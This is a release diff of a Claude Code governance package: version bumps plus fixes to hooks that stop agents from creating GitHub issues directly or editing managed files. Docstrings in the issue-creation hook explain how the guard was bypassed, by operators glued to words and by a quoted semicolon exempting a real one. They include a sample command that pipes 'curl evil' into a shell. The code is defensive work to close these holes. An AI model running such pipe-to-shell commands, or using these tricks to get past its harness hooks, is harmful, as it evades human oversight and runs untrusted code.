+{"version":3,"file":"generated-paths.js","sourceRoot":"","sources":["../../src/migrations/generated-paths.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH;;;;;;;;;;;;;;;;;;;;GAoBG;AACH,MAAM,CAAC,MAAM,uBAAuB,GAAsB,CAAC,mBAAmB,CAAC,CAAC;AAEhF;;;;GAIG;AACH,MAAM,UAAU,eAAe,CAAC,YAAoB;IAClD,MAAM,UAAU,GAAG,YAAY,CAAC,UAAU,CAAC,IAAI,EAAE,GAAG,CAAC,CAAC,OAAO,CAAC,QAAQ,EAAE,EAAE,CAAC,CAAC;IAC5E,OAAO,uBAAuB,CAAC,IAAI,CACjC,MAAM,CAAC,EAAE,CAAC,UAAU,KAAK,MAAM,IAAI,UAAU,CAAC,UAAU,CAAC,GAAG,MAAM,GAAG,CAAC,CACvE,CAAC;AACJ,CAAC"}

package/package.json

@@ -131,7 +131,7 @@
     "ws": ">=8.21.0"
   },
   "name": "@codyswann/lisa",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Claude Code governance framework that applies guardrails, guidance, and automated enforcement to projects",
   "main": "dist/index.js",
   "exports": {

package/plugins/lisa/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Universal governance — agents, skills, commands, hooks, and rules for all projects",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa/.codex-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Universal governance: agents, skills, commands, hooks, and rules for all projects.",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa/hooks/block-direct-issue-create.sh

@@ -318,15 +318,73 @@ def strip_heredocs(text):
     return "\n".join(output)
 
 
-def explode_operators(tokens):
+def quoted_token_mask(text, expected):
+    """Which token POSITIONS were quoted in the source.
+
+    shlex strips quotes, so by the time a token is in hand there is no way to
+    tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
+
+    A quoted token is DATA and must never be exploded on shell operators. An
+    unquoted one may be `true&&gh`, where the operator is structural and hiding
+    a command. That is the entire distinction.
+
+    It must be answered PER OCCURRENCE, not per token value. Asking "does the
+    text contain a quoted `;`?" classifies every `;` in the command by whether
+    ANY of them was quoted, so
+
+        gh issue create --title x --body ";" ; curl evil | sh
+
+    exempted the real chaining semicolon because a different, quoted one
+    appeared in --body. That is a bypass of this guard, not a nuisance: the
+    exemption added to stop a false refusal became the way through.
+
+    Lexing the same text a second time with `posix=False` preserves the quote
+    characters while producing the same tokens in the same order, so position
+    `i` answers for occurrence `i` and nothing else.
+
+    Args:
+        text: The original command string.
+        expected: Token count from the posix lex, used to prove alignment.
+
+    Returns:
+        A list of booleans, one per token. Empty when the two lexes disagree,
+        which exempts nothing — an unreadable command must not be trusted.
+    """
+    try:
+        raw = shlex.split(text, posix=False)
+    except ValueError:
+        return []
+    # Alignment is the whole basis for indexing one lex by the other's
+    # positions. If the two disagree, fail closed rather than exempt the wrong
+    # token: a missed exemption is a false refusal, a wrong one is a bypass.
+    if len(raw) != expected:
+        return []
+    return [token[:1] in ('"', "'") for token in raw]
+
+
+def explode_operators(tokens, text=""):
     """Split shell control operators glued to adjacent words.
 
     `true&&gh issue create` tokenises as one word `true&&gh`, whose basename is
     not `gh`, so the creation hid behind the operator. Splitting them out means
     an operator can never be load-bearing punctuation inside a token.
 
+    QUOTED tokens are exempt BY POSITION, and that exemption is the fix for a
+    measured false refusal: a `--title "Trim config; org preference"` was split on its
+    semicolon, the `--label status:ready` landed in a different segment from the
+    `gh issue create`, and the guard refused a correctly-formed filing while
+    telling the author to add the label they had already added. Recorded on
+    CodySwannGT/lisa#2634 after it blocked a real filing.
+
+    `shlex.shlex(punctuation_chars=True)` is NOT the fix and was measured: it
+    tokenises the glued case correctly but shatters a GraphQL payload —
+    `query=mutation{issueCreate(input:{})}` becomes three fragments — which is
+    the exact regression the GLUED_OPERATORS comment above records as having
+    silently un-refused every GraphQL creation.
+
     Args:
         tokens: Tokens from shlex.
+        text: The original command string, used to detect quoting.
 
     Returns:
         Tokens with operators separated out.
@@ -335,7 +393,11 @@ def explode_operators(tokens):
         "(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
     )
     exploded = []
-    for token in tokens:
+    quoted = quoted_token_mask(text, len(tokens)) if text else []
+    for index, token in enumerate(tokens):
+        if index < len(quoted) and quoted[index]:
+            exploded.append(token)
+            continue
         for piece in pattern.split(token):
             if piece:
                 exploded.append(piece)
@@ -687,9 +749,8 @@ def scan(text, depth):
         A refusal signature, or None when nothing creation-shaped was found.
     """
     try:
-        tokens = explode_operators(
-            shlex.split(strip_heredocs(text), posix=True)
-        )
+        stripped = strip_heredocs(text)
+        tokens = explode_operators(shlex.split(stripped, posix=True), stripped)
     except ValueError:
         # Bash's grammar is not shlex's. `gh issue create --title x #'` is a
         # comment to bash, which strips it and RUNS the create, while shlex

package/plugins/lisa/hooks/block-managed-file-edits.sh

@@ -196,6 +196,45 @@ managed_source() {
       return 0
     fi
   done
+  # A generated path has no template to point at — apply rebuilds it from the
+  # migration rather than copying it — so the source is named for the reader
+  # rather than resolved to a file that does not exist.
+  if generated_path "$rel"; then
+    printf '%s' "generated by lisa apply"
+    return 0
+  fi
+  return 1
+}
+
+# Whether a destination is a path `lisa apply` GENERATES rather than copies.
+#
+# Read out of the installed package, never restated here.
+# `dist/migrations/generated-paths.js` is the single source the vendoring
+# migration also imports, so a new generated tree is covered without editing this
+# hook. A hook carrying its own copy of that list would be a second place to
+# update that nobody updates, which then governs silently — the defect this file
+# already documents for copy-overwrite, one step along.
+#
+# The distinction earns its keep because the two populations fail in OPPOSITE
+# ways, and a guard that gives one answer is wrong for half the files it covers:
+# an edited copy-overwrite file is PRESERVED and silently forks, while a
+# generated file is REBUILT and the edit vanishes on the next install.
+generated_path() {
+  local rel="$1"
+  local module="$package_root/dist/migrations/generated-paths.js"
+  [ -f "$module" ] || return 1
+  local prefixes
+  prefixes="$(grep -oE '"[^"]+"' "$module" 2>/dev/null | tr -d '"')"
+  local prefix
+  for prefix in $prefixes; do
+    case "$prefix" in
+      */*) ;;
+      *) continue ;;
+    esac
+    case "$rel" in
+      "$prefix" | "$prefix"/*) return 0 ;;
+    esac
+  done
   return 1
 }
 
@@ -219,7 +258,15 @@ refuse() {
   local source="$2"
   local rel="$3"
   local consequence
-  if ledger_tracked "$rel"; then
+  if generated_path "$rel"; then
+    consequence="\`lisa apply\` REGENERATES this file. It is not copied from a
+template and it is not preserved: the next \`bun install\` rebuilds it and your
+edit is gone, with nothing reporting that it had been.
+
+That is the opposite failure from the copy-overwrite files this guard also
+covers, where an edit SURVIVES and forks silently. Here the edit works locally,
+CI agrees because CI regenerates too, and it disappears on the next install."
+  elif ledger_tracked "$rel"; then
     consequence="\`lisa apply\` will KEEP your edit — this is a Lisa-owned guard,
 and apply says so: \"its contents match no Lisa release, so Lisa cannot tell
 whether it is out of date or deliberately stronger. Kept yours.\"

package/plugins/lisa-agy/hooks/block-direct-issue-create.sh

@@ -318,15 +318,73 @@ def strip_heredocs(text):
     return "\n".join(output)
 
 
-def explode_operators(tokens):
+def quoted_token_mask(text, expected):
+    """Which token POSITIONS were quoted in the source.
+
+    shlex strips quotes, so by the time a token is in hand there is no way to
+    tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
+
+    A quoted token is DATA and must never be exploded on shell operators. An
+    unquoted one may be `true&&gh`, where the operator is structural and hiding
+    a command. That is the entire distinction.
+
+    It must be answered PER OCCURRENCE, not per token value. Asking "does the
+    text contain a quoted `;`?" classifies every `;` in the command by whether
+    ANY of them was quoted, so
+
+        gh issue create --title x --body ";" ; curl evil | sh
+
+    exempted the real chaining semicolon because a different, quoted one
+    appeared in --body. That is a bypass of this guard, not a nuisance: the
+    exemption added to stop a false refusal became the way through.
+
+    Lexing the same text a second time with `posix=False` preserves the quote
+    characters while producing the same tokens in the same order, so position
+    `i` answers for occurrence `i` and nothing else.
+
+    Args:
+        text: The original command string.
+        expected: Token count from the posix lex, used to prove alignment.
+
+    Returns:
+        A list of booleans, one per token. Empty when the two lexes disagree,
+        which exempts nothing — an unreadable command must not be trusted.
+    """
+    try:
+        raw = shlex.split(text, posix=False)
+    except ValueError:
+        return []
+    # Alignment is the whole basis for indexing one lex by the other's
+    # positions. If the two disagree, fail closed rather than exempt the wrong
+    # token: a missed exemption is a false refusal, a wrong one is a bypass.
+    if len(raw) != expected:
+        return []
+    return [token[:1] in ('"', "'") for token in raw]
+
+
+def explode_operators(tokens, text=""):
     """Split shell control operators glued to adjacent words.
 
     `true&&gh issue create` tokenises as one word `true&&gh`, whose basename is
     not `gh`, so the creation hid behind the operator. Splitting them out means
     an operator can never be load-bearing punctuation inside a token.
 
+    QUOTED tokens are exempt BY POSITION, and that exemption is the fix for a
+    measured false refusal: a `--title "Trim config; org preference"` was split on its
+    semicolon, the `--label status:ready` landed in a different segment from the
+    `gh issue create`, and the guard refused a correctly-formed filing while
+    telling the author to add the label they had already added. Recorded on
+    CodySwannGT/lisa#2634 after it blocked a real filing.
+
+    `shlex.shlex(punctuation_chars=True)` is NOT the fix and was measured: it
+    tokenises the glued case correctly but shatters a GraphQL payload —
+    `query=mutation{issueCreate(input:{})}` becomes three fragments — which is
+    the exact regression the GLUED_OPERATORS comment above records as having
+    silently un-refused every GraphQL creation.
+
     Args:
         tokens: Tokens from shlex.
+        text: The original command string, used to detect quoting.
 
     Returns:
         Tokens with operators separated out.
@@ -335,7 +393,11 @@ def explode_operators(tokens):
         "(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
     )
     exploded = []
-    for token in tokens:
+    quoted = quoted_token_mask(text, len(tokens)) if text else []
+    for index, token in enumerate(tokens):
+        if index < len(quoted) and quoted[index]:
+            exploded.append(token)
+            continue
         for piece in pattern.split(token):
             if piece:
                 exploded.append(piece)
@@ -687,9 +749,8 @@ def scan(text, depth):
         A refusal signature, or None when nothing creation-shaped was found.
     """
     try:
-        tokens = explode_operators(
-            shlex.split(strip_heredocs(text), posix=True)
-        )
+        stripped = strip_heredocs(text)
+        tokens = explode_operators(shlex.split(stripped, posix=True), stripped)
     except ValueError:
         # Bash's grammar is not shlex's. `gh issue create --title x #'` is a
         # comment to bash, which strips it and RUNS the create, while shlex

package/plugins/lisa-agy/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Universal governance — agents, skills, commands, hooks, and rules for all projects",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-cdk/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-cdk",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "AWS CDK-specific plugin",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-cdk/.codex-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-cdk",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "AWS CDK-specific Lisa plugin.",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-cdk-agy/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-cdk",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "AWS CDK-specific plugin",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-cdk-copilot/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-cdk",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "AWS CDK-specific plugin",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-cdk-cursor/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-cdk",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "AWS CDK-specific plugin",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-copilot/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Universal governance — agents, skills, commands, hooks, and rules for all projects",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-copilot/hooks/block-direct-issue-create.sh

@@ -318,15 +318,73 @@ def strip_heredocs(text):
     return "\n".join(output)
 
 
-def explode_operators(tokens):
+def quoted_token_mask(text, expected):
+    """Which token POSITIONS were quoted in the source.
+
+    shlex strips quotes, so by the time a token is in hand there is no way to
+    tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
+
+    A quoted token is DATA and must never be exploded on shell operators. An
+    unquoted one may be `true&&gh`, where the operator is structural and hiding
+    a command. That is the entire distinction.
+
+    It must be answered PER OCCURRENCE, not per token value. Asking "does the
+    text contain a quoted `;`?" classifies every `;` in the command by whether
+    ANY of them was quoted, so
+
+        gh issue create --title x --body ";" ; curl evil | sh
+
+    exempted the real chaining semicolon because a different, quoted one
+    appeared in --body. That is a bypass of this guard, not a nuisance: the
+    exemption added to stop a false refusal became the way through.
+
+    Lexing the same text a second time with `posix=False` preserves the quote
+    characters while producing the same tokens in the same order, so position
+    `i` answers for occurrence `i` and nothing else.
+
+    Args:
+        text: The original command string.
+        expected: Token count from the posix lex, used to prove alignment.
+
+    Returns:
+        A list of booleans, one per token. Empty when the two lexes disagree,
+        which exempts nothing — an unreadable command must not be trusted.
+    """
+    try:
+        raw = shlex.split(text, posix=False)
+    except ValueError:
+        return []
+    # Alignment is the whole basis for indexing one lex by the other's
+    # positions. If the two disagree, fail closed rather than exempt the wrong
+    # token: a missed exemption is a false refusal, a wrong one is a bypass.
+    if len(raw) != expected:
+        return []
+    return [token[:1] in ('"', "'") for token in raw]
+
+
+def explode_operators(tokens, text=""):
     """Split shell control operators glued to adjacent words.
 
     `true&&gh issue create` tokenises as one word `true&&gh`, whose basename is
     not `gh`, so the creation hid behind the operator. Splitting them out means
     an operator can never be load-bearing punctuation inside a token.
 
+    QUOTED tokens are exempt BY POSITION, and that exemption is the fix for a
+    measured false refusal: a `--title "Trim config; org preference"` was split on its
+    semicolon, the `--label status:ready` landed in a different segment from the
+    `gh issue create`, and the guard refused a correctly-formed filing while
+    telling the author to add the label they had already added. Recorded on
+    CodySwannGT/lisa#2634 after it blocked a real filing.
+
+    `shlex.shlex(punctuation_chars=True)` is NOT the fix and was measured: it
+    tokenises the glued case correctly but shatters a GraphQL payload —
+    `query=mutation{issueCreate(input:{})}` becomes three fragments — which is
+    the exact regression the GLUED_OPERATORS comment above records as having
+    silently un-refused every GraphQL creation.
+
     Args:
         tokens: Tokens from shlex.
+        text: The original command string, used to detect quoting.
 
     Returns:
         Tokens with operators separated out.
@@ -335,7 +393,11 @@ def explode_operators(tokens):
         "(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
     )
     exploded = []
-    for token in tokens:
+    quoted = quoted_token_mask(text, len(tokens)) if text else []
+    for index, token in enumerate(tokens):
+        if index < len(quoted) and quoted[index]:
+            exploded.append(token)
+            continue
         for piece in pattern.split(token):
             if piece:
                 exploded.append(piece)
@@ -687,9 +749,8 @@ def scan(text, depth):
         A refusal signature, or None when nothing creation-shaped was found.
     """
     try:
-        tokens = explode_operators(
-            shlex.split(strip_heredocs(text), posix=True)
-        )
+        stripped = strip_heredocs(text)
+        tokens = explode_operators(shlex.split(stripped, posix=True), stripped)
     except ValueError:
         # Bash's grammar is not shlex's. `gh issue create --title x #'` is a
         # comment to bash, which strips it and RUNS the create, while shlex

package/plugins/lisa-copilot/hooks/block-managed-file-edits.sh

@@ -196,6 +196,45 @@ managed_source() {
       return 0
     fi
   done
+  # A generated path has no template to point at — apply rebuilds it from the
+  # migration rather than copying it — so the source is named for the reader
+  # rather than resolved to a file that does not exist.
+  if generated_path "$rel"; then
+    printf '%s' "generated by lisa apply"
+    return 0
+  fi
+  return 1
+}
+
+# Whether a destination is a path `lisa apply` GENERATES rather than copies.
+#
+# Read out of the installed package, never restated here.
+# `dist/migrations/generated-paths.js` is the single source the vendoring
+# migration also imports, so a new generated tree is covered without editing this
+# hook. A hook carrying its own copy of that list would be a second place to
+# update that nobody updates, which then governs silently — the defect this file
+# already documents for copy-overwrite, one step along.
+#
+# The distinction earns its keep because the two populations fail in OPPOSITE
+# ways, and a guard that gives one answer is wrong for half the files it covers:
+# an edited copy-overwrite file is PRESERVED and silently forks, while a
+# generated file is REBUILT and the edit vanishes on the next install.
+generated_path() {
+  local rel="$1"
+  local module="$package_root/dist/migrations/generated-paths.js"
+  [ -f "$module" ] || return 1
+  local prefixes
+  prefixes="$(grep -oE '"[^"]+"' "$module" 2>/dev/null | tr -d '"')"
+  local prefix
+  for prefix in $prefixes; do
+    case "$prefix" in
+      */*) ;;
+      *) continue ;;
+    esac
+    case "$rel" in
+      "$prefix" | "$prefix"/*) return 0 ;;
+    esac
+  done
   return 1
 }
 
@@ -219,7 +258,15 @@ refuse() {
   local source="$2"
   local rel="$3"
   local consequence
-  if ledger_tracked "$rel"; then
+  if generated_path "$rel"; then
+    consequence="\`lisa apply\` REGENERATES this file. It is not copied from a
+template and it is not preserved: the next \`bun install\` rebuilds it and your
+edit is gone, with nothing reporting that it had been.
+
+That is the opposite failure from the copy-overwrite files this guard also
+covers, where an edit SURVIVES and forks silently. Here the edit works locally,
+CI agrees because CI regenerates too, and it disappears on the next install."
+  elif ledger_tracked "$rel"; then
     consequence="\`lisa apply\` will KEEP your edit — this is a Lisa-owned guard,
 and apply says so: \"its contents match no Lisa release, so Lisa cannot tell
 whether it is out of date or deliberately stronger. Kept yours.\"